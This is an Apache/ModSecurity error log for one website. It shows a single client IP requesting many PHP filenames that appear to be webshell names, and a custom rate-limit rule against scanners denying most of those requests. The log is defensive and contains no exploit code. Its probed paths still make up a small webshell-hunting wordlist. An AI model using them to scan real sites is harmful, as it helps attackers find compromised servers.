[Sat Dec 13 00:06:03.797528 2025] [:error] [pid 26519:tid 26526] [client 4.193.186.94:35233] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file2.php"] [unique_id "aTw9a88TRgSGOeWqEhcVzAAAAAM"]
[Sat Dec 13 00:06:04.432348 2025] [:error] [pid 55760:tid 55784] [client 4.193.186.94:35208] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file2.php"] [unique_id "aTw9bFObDQlftFDyGaxG9wAAAZY"]
[Sat Dec 13 00:06:04.741374 2025] [:error] [pid 27950:tid 27957] [client 4.193.186.94:20919] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file2.php"] [unique_id "aTw9bIVLRvkrdsSc1F3NtwAAAUU"]
[Sat Dec 13 00:06:04.974183 2025] [:error] [pid 27950:tid 27967] [client 4.193.186.94:21506] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file2.php"] [unique_id "aTw9bIVLRvkrdsSc1F3NuAAAAU8"]
[Sat Dec 13 00:06:05.207234 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:35228] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/h2a2ck.php"] [unique_id "aTw9bYVLRvkrdsSc1F3NuwAAAUw"]
[Sat Dec 13 00:06:05.546943 2025] [:error] [pid 27950:tid 27962] [client 4.193.186.94:20796] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/h2a2ck.php"] [unique_id "aTw9bYVLRvkrdsSc1F3NvQAAAUo"]
[Sat Dec 13 00:06:05.841992 2025] [:error] [pid 27950:tid 27969] [client 4.193.186.94:20925] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/h2a2ck.php"] [unique_id "aTw9bYVLRvkrdsSc1F3NvwAAAVE"]
[Sat Dec 13 00:06:06.186043 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:21513] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/h2a2ck.php"] [unique_id "aTw9blObDQlftFDyGaxG-gAAAZE"]
[Sat Dec 13 00:06:06.413079 2025] [:error] [pid 26520:tid 26564] [client 4.193.186.94:20823] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/11index.php"] [unique_id "aTw9bkG_frlY5vNXu_AgvwAAAEw"]
[Sat Dec 13 00:06:06.721359 2025] [:error] [pid 27950:tid 27963] [client 4.193.186.94:35214] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/11index.php"] [unique_id "aTw9boVLRvkrdsSc1F3NwQAAAUs"]
[Sat Dec 13 00:06:07.060485 2025] [:error] [pid 55760:tid 55777] [client 4.193.186.94:35263] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/11index.php"] [unique_id "aTw9b1ObDQlftFDyGaxG-wAAAY8"]
[Sat Dec 13 00:06:07.306773 2025] [:error] [pid 55760:tid 55783] [client 4.193.186.94:21444] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/11index.php"] [unique_id "aTw9b1ObDQlftFDyGaxG_QAAAZU"]
[Sat Dec 13 00:06:07.765200 2025] [:error] [pid 26519:tid 26545] [client 4.193.186.94:20856] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alexus.php"] [unique_id "aTw9b88TRgSGOeWqEhcV0wAAABY"]
[Sat Dec 13 00:06:08.090267 2025] [:error] [pid 26521:tid 26584] [client 4.193.186.94:20791] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alexus.php"] [unique_id "aTw9cJdhcAPU617AKTDFCgAAAIU"]
[Sat Dec 13 00:06:08.273013 2025] [:error] [pid 26521:tid 26582] [client 4.193.186.94:20766] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alexus.php"] [unique_id "aTw9cJdhcAPU617AKTDFCwAAAIM"]
[Sat Dec 13 00:06:08.526512 2025] [:error] [pid 26520:tid 26554] [client 4.193.186.94:21523] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alexus.php"] [unique_id "aTw9cEG_frlY5vNXu_AgxgAAAEI"]
[Sat Dec 13 00:06:08.820889 2025] [:error] [pid 26520:tid 26569] [client 4.193.186.94:21550] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wan.php"] [unique_id "aTw9cEG_frlY5vNXu_AgyQAAAFE"]
[Sat Dec 13 00:06:09.058666 2025] [:error] [pid 27950:tid 27958] [client 4.193.186.94:20776] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wan.php"] [unique_id "aTw9cYVLRvkrdsSc1F3NxQAAAUY"]
[Sat Dec 13 00:06:09.299059 2025] [:error] [pid 26607:tid 26617] [client 4.193.186.94:35238] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wan.php"] [unique_id "aTw9ccb_b0tOEWTL2KnGVwAAAMg"]
[Sat Dec 13 00:06:09.637107 2025] [:error] [pid 26519:tid 26533] [client 4.193.186.94:20761] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wan.php"] [unique_id "aTw9cc8TRgSGOeWqEhcV1wAAAAo"]
[Sat Dec 13 00:06:09.967499 2025] [:error] [pid 26519:tid 26546] [client 4.193.186.94:20752] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iov.php"] [unique_id "aTw9cc8TRgSGOeWqEhcV2AAAABc"]
[Sat Dec 13 00:06:10.207370 2025] [:error] [pid 26519:tid 26538] [client 4.193.186.94:20801] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iov.php"] [unique_id "aTw9cs8TRgSGOeWqEhcV2gAAAA8"]
[Sat Dec 13 00:06:10.518755 2025] [:error] [pid 60649:tid 60667] [client 4.193.186.94:35245] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iov.php"] [unique_id "aTw9clOcUGKU3sgfHP8i2AAAAQ8"]
[Sat Dec 13 00:06:10.863475 2025] [:error] [pid 26519:tid 26530] [client 4.193.186.94:20747] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/iov.php"] [unique_id "aTw9cs8TRgSGOeWqEhcV3AAAAAc"]
[Sat Dec 13 00:06:11.271769 2025] [:error] [pid 26521:tid 26579] [client 4.193.186.94:20754] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/133.php"] [unique_id "aTw9c5dhcAPU617AKTDFDwAAAIA"]
[Sat Dec 13 00:06:11.643193 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:21467] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/133.php"] [unique_id "aTw9c5dhcAPU617AKTDFEQAAAI4"]
[Sat Dec 13 00:06:11.978234 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:21442] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/133.php"] [unique_id "aTw9c1ObDQlftFDyGaxHAwAAAYY"]
[Sat Dec 13 00:06:12.402328 2025] [:error] [pid 26519:tid 26541] [client 4.193.186.94:35224] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/133.php"] [unique_id "aTw9dM8TRgSGOeWqEhcV4QAAABI"]
[Sat Dec 13 00:06:12.718472 2025] [:error] [pid 26519:tid 26528] [client 4.193.186.94:20787] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxxq.php"] [unique_id "aTw9dM8TRgSGOeWqEhcV4wAAAAU"]
[Sat Dec 13 00:06:12.990531 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:20794] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxxq.php"] [unique_id "aTw9dIVLRvkrdsSc1F3NyAAAAUw"]
[Sat Dec 13 00:06:13.466752 2025] [:error] [pid 26521:tid 26580] [client 4.193.186.94:35212] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxxq.php"] [unique_id "aTw9dZdhcAPU617AKTDFFgAAAIE"]
[Sat Dec 13 00:06:13.773956 2025] [:error] [pid 26519:tid 26537] [client 4.193.186.94:21532] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxxq.php"] [unique_id "aTw9dc8TRgSGOeWqEhcV5AAAAA4"]
[Sat Dec 13 00:06:14.084412 2025] [:error] [pid 26521:tid 26602] [client 4.193.186.94:20738] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aTw9dpdhcAPU617AKTDFGAAAAJc"]
[Sat Dec 13 00:06:14.283459 2025] [:error] [pid 55760:tid 55784] [client 4.193.186.94:20777] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aTw9dlObDQlftFDyGaxHBwAAAZY"]
[Sat Dec 13 00:06:14.574498 2025] [:error] [pid 55760:tid 55762] [client 4.193.186.94:20861] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aTw9dlObDQlftFDyGaxHCAAAAYA"]
[Sat Dec 13 00:06:14.909833 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:35230] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aTw9dpdhcAPU617AKTDFGwAAAJQ"]
[Sat Dec 13 00:06:15.148860 2025] [:error] [pid 26521:tid 26587] [client 4.193.186.94:21560] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/12.php"] [unique_id "aTw9d5dhcAPU617AKTDFHAAAAIg"]
[Sat Dec 13 00:06:15.515639 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:21530] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/12.php"] [unique_id "aTw9d5dhcAPU617AKTDFHQAAAIs"]
[Sat Dec 13 00:06:15.770223 2025] [:error] [pid 60649:tid 60668] [client 4.193.186.94:35209] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/12.php"] [unique_id "aTw9d1OcUGKU3sgfHP8i3gAAARA"]
[Sat Dec 13 00:06:16.030265 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:21515] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/12.php"] [unique_id "aTw9eJdhcAPU617AKTDFHgAAAJA"]
[Sat Dec 13 00:06:16.317769 2025] [:error] [pid 60649:tid 60662] [client 4.193.186.94:20751] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/GX.php"] [unique_id "aTw9eFOcUGKU3sgfHP8i4AAAAQo"]
[Sat Dec 13 00:06:16.573205 2025] [:error] [pid 26521:tid 26591] [client 4.193.186.94:21536] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/GX.php"] [unique_id "aTw9eJdhcAPU617AKTDFHwAAAIw"]
[Sat Dec 13 00:06:16.851729 2025] [:error] [pid 60649:tid 60664] [client 4.193.186.94:20755] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/GX.php"] [unique_id "aTw9eFOcUGKU3sgfHP8i4gAAAQw"]
[Sat Dec 13 00:06:17.178087 2025] [:error] [pid 27950:tid 27969] [client 4.193.186.94:20815] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/GX.php"] [unique_id "aTw9eYVLRvkrdsSc1F3NzAAAAVE"]
[Sat Dec 13 00:06:17.511739 2025] [:error] [pid 26521:tid 26579] [client 4.193.186.94:20760] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/num.php"] [unique_id "aTw9eZdhcAPU617AKTDFIQAAAIA"]
[Sat Dec 13 00:06:17.851717 2025] [:error] [pid 26520:tid 26575] [client 4.193.186.94:21527] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/num.php"] [unique_id "aTw9eUG_frlY5vNXu_AgywAAAFc"]
[Sat Dec 13 00:06:18.124260 2025] [proxy_fcgi:error] [pid 26519:tid 26539] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:18.216684 2025] [proxy_fcgi:error] [pid 26519:tid 26523] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:18.307761 2025] [proxy_fcgi:error] [pid 26519:tid 26545] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:18.398913 2025] [proxy_fcgi:error] [pid 26519:tid 26531] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:18.612845 2025] [proxy_fcgi:error] [pid 26519:tid 26544] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:18.709109 2025] [proxy_fcgi:error] [pid 26519:tid 26533] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:18.818956 2025] [proxy_fcgi:error] [pid 26519:tid 26546] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:18.922822 2025] [proxy_fcgi:error] [pid 26519:tid 26538] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:19.050781 2025] [proxy_fcgi:error] [pid 26519:tid 26536] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:19.161057 2025] [proxy_fcgi:error] [pid 26519:tid 26532] [client 4.193.186.94:35226] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:06:19.248073 2025] [:error] [pid 26519:tid 26535] [client 4.193.186.94:35226] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aTw9e88TRgSGOeWqEhcV8QAAAAw"]
[Sat Dec 13 00:06:19.641452 2025] [:error] [pid 27950:tid 27971] [client 4.193.186.94:20778] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aTw9e4VLRvkrdsSc1F3NzgAAAVM"]
[Sat Dec 13 00:06:19.998311 2025] [:error] [pid 27950:tid 27959] [client 4.193.186.94:35216] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aTw9e4VLRvkrdsSc1F3N0AAAAUc"]
[Sat Dec 13 00:06:20.448484 2025] [:error] [pid 26521:tid 26601] [client 4.193.186.94:20746] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aTw9fJdhcAPU617AKTDFJgAAAJY"]
[Sat Dec 13 00:06:20.865180 2025] [:error] [pid 55760:tid 55782] [client 4.193.186.94:21567] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/55.php"] [unique_id "aTw9fFObDQlftFDyGaxHCwAAAZQ"]
[Sat Dec 13 00:06:21.113841 2025] [:error] [pid 55760:tid 55777] [client 4.193.186.94:35235] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/55.php"] [unique_id "aTw9fVObDQlftFDyGaxHDAAAAY8"]
[Sat Dec 13 00:06:21.422171 2025] [:error] [pid 26521:tid 26584] [client 4.193.186.94:21449] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/55.php"] [unique_id "aTw9fZdhcAPU617AKTDFJwAAAIU"]
